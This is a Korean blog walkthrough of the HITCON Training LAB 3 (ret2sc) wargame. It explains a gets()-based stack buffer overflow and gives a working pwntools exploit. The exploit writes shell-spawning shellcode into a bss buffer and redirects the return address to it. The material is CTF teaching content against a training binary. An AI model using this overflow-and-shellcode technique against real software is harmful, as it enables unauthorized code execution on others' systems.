tmxklab
hitcon training [LAB 3] 본문
1. 문제
1) mitigation확인
2) 문제 확인
입력 값을 2번 받고 종료됨
3) 코드흐름 파악
3-1) main함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-14h]
setvbuf(stdout, 0, 2, 0);
printf("Name:");
read(0, &name, 0x32u);
printf("Try your best:");
return (int)gets(&s);
}
read함수에서 입력 값을 저장하는 name변수는 bss영역에 존재함
gets함수에서 입력 값을 받는 s변수를 통해 bof가능 → ret조작 가능
2. 접근 방법
그냥 name변수에 쉘 코드 작성하여 실행시키는 방법으로 풀기로 한다.
3. 풀이
1) name변수 위치
mitigation에 아무것도 안걸려 있어서 그냥 위에 나온 name주소 값을 이용(주소 안바뀜)
name 주소 값 : 0x804a060
2) s변수 위치
-
s변수 → [esp+0x1c], ebp로부터 0x1c(28)bytes만큼 떨어져 있음
-
32bytes작성하면 ebp까지 덮음
3) 익스코드
from pwn import *
#context(log_level="debug", arch="i386", os="linux")
p = process("./ret2sc")
#gdb.attach(p)
name_addr = p32(0x804a060)
shellcode = asm(shellcraft.i386.linux.sh())
payload = "A"*32
payload += name_addr
p.sendlineafter(":", shellcode)
p.sendlineafter(":", payload)
p.interactive()
4) 공격실행
'War Game > hitcon training' 카테고리의 다른 글
hitcon training [LAB 6] (0) | 2020.07.19 |
---|---|
hitcon training [LAB 5] (0) | 2020.07.19 |
hitcon training [LAB 4] (0) | 2020.07.19 |
hitcon training [LAB 2] (0) | 2020.07.19 |
hitcon training [LAB 1] (0) | 2020.07.19 |
Comments